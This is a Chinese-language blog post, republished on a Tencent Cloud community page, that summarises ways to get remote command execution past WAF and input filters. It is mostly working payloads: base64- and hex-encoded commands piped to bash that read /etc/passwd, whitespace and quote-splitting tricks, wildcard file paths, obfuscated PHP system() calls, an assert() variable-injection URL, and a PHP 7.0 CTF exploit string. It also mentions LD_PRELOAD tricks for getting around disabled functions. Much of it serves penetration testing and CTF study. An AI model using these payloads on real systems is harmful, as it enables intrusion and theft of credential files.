学习
实践
活动
专区
工具
TVP
写文章
专栏首页渗透云笔记RCE的Bypass与骚姿势总结

RCE的Bypass与骚姿势总结

本文原作者;小仙人

Bypass篇

前言:关于RCE的Bypass,我们应该从哪些角度开展呢。要知道怎么绕过,我们就得知道防火墙的过滤规则才行。那我们想想,在利用RCE漏洞的时候,我们当然想用cat、chmod、whoami、ifconfig、ls等这些操作对不对!像这些敏感命令,防火墙就会进行过滤。还有特殊字符如单引、双引、空格等等,防火墙同样会进行过滤。那我们现在知道那该死的防火墙不让我们输入那些敏感字符了,我们就要想办法找一些可以代替这些敏感字符且又能表达其字符的意思的东西对吧?所以我们进入主题!

常见绕过方法

空格绕过:在bash下可以用$IFS、${IFS}、$IFS$9、%09(在URL上使用较多)、<、>、<>、{,}、%20(space)、%09(tab)

(备注:此处有$IFS$9,而这里为什么用$9呢,是因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。$IFS在Linux下表示分隔符。)

分号绕过:在bash下可以用%0a

(声明其中的一个做法{cat,1.txt},这里尖括号的用法是括起来再用逗号,要注意。)

敏感字符绕过:例如cat、chmod

1) 利用变量绕过

[root@iz2zebsl4jvqeiddcl4y2cz ~]# a=c;b=a;c=t;

[root@iz2zebsl4jvqeiddcl4y2cz ~]# $a$b$c 1.txt

2) 利用base编码绕过

[root@iz2zebsl4jvqeiddcl4y2cz ~]# echo 'cat' | base64

Y2F0wqAK

[root@iz2zebsl4jvqeiddcl4y2cz ~]# `echo 'Y2F0wqAK' | base64 -d` 1.txt

hello world

[root@iz2zebsl4jvqeiddcl4y2cz ~]# echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash// cat /etc/passwd 查看所有用户信息

3) 利用hex编码(十六进制)绕过

[root@iz2zebsl4jvqeiddcl4y2cz ~]# echo "636174202F6574632F706173737764" | xxd -r -p|bash// hex编码后的0x不需要输入。

4) 利用oct编码(八进制)绕过

[root@iz2zebsl4jvqeiddcl4y2cz ~]# $(printf "\154\163")//ls命令(这个154和163的值,本人暂时不知道是如何转换的)

5) 利用拼接绕过

[root@iz2zebsl4jvqeiddcl4y2cz ~]# c''a''t 1.txt//单引

[root@iz2zebsl4jvqeiddcl4y2cz ~]# c""a""t 1.txt//双引

[root@iz2zebsl4jvqeiddcl4y2cz ~]# c``a``t 1.txt//反单引

[root@iz2zebsl4jvqeiddcl4y2cz ~]# c\a\t 1.txt//反斜线

6) 利用未初始化变量

[root@iz2zebsl4jvqeiddcl4y2cz ~]# cat$u 1.txt

过滤文件名绕过(例如过滤/etc/passwd文件)

1) 利用正则匹配绕过

[root@iz2zebsl4jvqeiddcl4y2cz ~]# cat /???/pass*

2) 例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过

[root@iz2zebsl4jvqeiddcl4y2cz ~]# cat /etc$u/passwd

备注:此方法能绕CloudFlare WAF(出自:https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/

命令执行函数system()绕过(在URL请求中过滤system()函数)

1) "\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");

1) (sy.(st).em)(whoami);

1) ?a=system&b=cat+/etc&c=/passwd&code=$_GET[a]($_GET[b].$_GET[c]);

1) 插入注释(这对于绕过阻止特定PHP函数名称的WAF规则集很有用)

php -r "system/*caixukun*/(whoami);"

php -r "system/*caixukun*/(wh./*caixukun*/(oa)/*caixukun*/.mi);"

php -r "(sy./*caixukun*/(st)/*caixukun*/.em)/*caixukun*/(wh./*caixukun*/(oa)/*caixukun*/.mi);"

骚姿势绕过总结

1) 在Linux bash下可以使用{OS_COMMAND,ARGUMENT}来执行系统命令

2) 当过滤了大小写字母、数字、$符号的时候,可以利用通配符绕过

https://www.freebuf.com/articles/web/186298.html -- 前辈这篇文章写得很好,姿势可以参考。

https://www.freebuf.com/articles/web/160175.html

3) 当遇到addslashes()过滤了单引、双引、反斜杠、NULL这些预定义字符,利用PHP复杂变量绕过。

http://www.test.com/test.php?str=${${assert($_GET[x])}}&x=phpinfo()

http://www.test.com/test.php?str=${${assert($_POST[guixianren])}}

4) 当正则匹配if(preg("/[A-Za-z0-9_`'"^?<>${}]+/",$code))过滤特殊符号而且大小写字母和数字都过滤的时候,又怎么进行绕过呢?这是前辈给的EXP:

?code=(~%9E%8C%8C%9A%8D%8B)((~%91%9A%87%8B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()));

利用的前提条件是PHP版本刚好为7.0,只能刚好是7.0版本,大于小于这个EXP都会失效。这是一道CTF的题目,这是出自evoa师傅的思路,这里分享给大家。

https://www.evoa.me/index.php/archives/62/

5) 当只过滤大小写字母和数字的时候且又限制了长度,该怎么绕过。同样是CTF的题。

这是前辈写的https://imagin.vip/?p=508

真可谓收益匪浅,学习就是先走一遍别人的老路,到达一定知识量的时候,自己走自己的路。

1) Bypass disable function(绕过禁用函数),情景是当遇到很全面的禁用函数列表时,我们又应当怎么绕过。原理是通过LD_PRELOAD绕过disable_functions这里推荐一个各种方式突破Disable_functions达到命令执行的Shell。工具可以到"安全武器库"上拿。

参考资料

关于OWASP ModSecurity核心规则集(CRS)项目:

https://github.com/SpiderLabs/owasp-modsecurity-crs/

RCE Bypass远程命令执行绕过技巧:

http://www.leommxj.com/2017/06/11/RCE-Bypass/

关于Apache Tomcat多版本远程代码执行漏洞CVE-2016-8735

https://www.anquanke.com/post/id/85043

文章分享自微信公众号:
渗透云笔记

本文参与 腾讯云自媒体分享计划 ,欢迎热爱写作的你一起参与!

作者:天钧
原始发表时间:2020-03-13
如有侵权,请联系 cloudcommunity@tencent.com 删除。
登录 后参与评论
0 条评论

相关文章

  • RCE的Bypass与骚姿势总结

    前言:关于RCE的Bypass,我们应该从哪些角度开展呢。要知道怎么绕过,我们就得知道防火墙的过滤规则才行。那我们想想,在利用RCE漏洞的时候,我们当然想用ca...

    谢公子
  • SQL注入之骚姿势小记

    写在前面 小记一下CTF那些日子和DROPS队友学到的SQL注入的骚姿势。 By 010 1、IN之骚 这个我也偶然发现的,也不知前辈们有没有早已总结好的套路了...

    FB客服
  • Powershell免杀从入门到实践

    在之前发布的一篇 渗透技巧之Powershell实战思路中,学习了powershell在对抗Anti-Virus的方便和强大。团队免杀系列又有了远控免杀从入门到...

    FB客服
  • 从PbootCMS审计到某狗绕过

    这是 酒仙桥六号部队 的第 26 篇文章。全文共计2033个字,预计阅读时长8分钟。之前审计发现的PbootCMS2.0.3前台RCE,看了最近的版本更新漏...

    C4rpeDime
  • 见招拆招:绕过WAF继续SQL注入常用方法

    Web Hacker总是生存在与WAF的不断抗争之中的,厂商不断过滤,Hacker不断绕过。WAF bypass是一个永恒的话题,不少基友也总结了很多奇技怪招。...

    FB客服
  • Apache中.htaccess文件利用的总结与新思路拓展

    第一种是最通用最常见的Module方式,即在httpd.conf中使用LoadModule的方式,将php的dll或者so文件加载到apache当中。

    FB客服
  • 【原创】确定不看吗?基础篇--文件包含Bypass漏洞总结

    本篇文章为星球团队成员原创文章,已申请原创权限,如其他公众号有需要转文,请联系信安旅程运营人员。

    Power7089
  • 域渗透不用进程窃取如何横向 Bypass Psexec AV 拿到域控?

    大家好,这里是 渗透攻击红队 的第 63 篇文章,本公众号会记录一些红队攻击的案例,不定时更新

    渗透攻击红队
  • OffenSive Csharp Development Part5 && 星球来袭

    本文是OffenSive Csharp Development的第五篇文章,主要讲解如何使用C#进行AMSI bypass。

    鸿鹄实验室
  • 『攻防』记一次EDU攻防演练

    记一次EDU攻防,来之前还是有点怂的,因为前段时间刚打了其它地方EDU感受了一波,小部分目标有重合好难打啊(Too vegetable),不是很正式的感觉队伍也...

    亿人安全
  • 非传统 WAF/IDS 规避技术指南

    原文总结的一些姿势在实际挖洞的时候还比较管用,原文地址https://blog.0xffff.info/2021/07/24/a-guide-to-non-co...

    用户2202688
  • Bypass 护卫神SQL注入防御(多姿势)

       护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能。

    Bypass
  • PHP 邮件漏洞小结

    PHP中,mail的函数在底层是写好的,调用linux的sendmail程序来发送邮件,在额外参数中,sendmail还支持其他三个选项。

    安恒网络空间安全讲武堂
  • Bypass 360主机卫士SQL注入防御(多姿势)

    在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影。从半年前的测试虚拟机里面,翻出了36...

    Bypass
  • Log4j-JNDI注入RCE

    Naraku
  • 文件包含漏洞与文件包含Bypass漏洞基础

    服务器通过PHP的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到攻击的目的。

    天钧
  • Bypass 360主机卫士SQL注入防御(多姿势)

    在服务器客户端领域,曾经出现过一款 360 主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影。

    信安之路
  • F5 BIG-IP 未授权 RCE(CVE-2022-1388)分析

    作者:知道创宇404实验室 kuipla、Billion 时间:2022年05月10日 2022/5/4日F5官方发布一个关于BIG-IP的未授权RCE(CVE...

    Seebug漏洞平台
  • 九种姿势运行Mimikatz

    *本文原创作者:R1ngk3y,本文属FreeBuf原创奖励计划,未经许可禁止转载

    FB客服

扫码关注腾讯云开发者

领取腾讯云代金券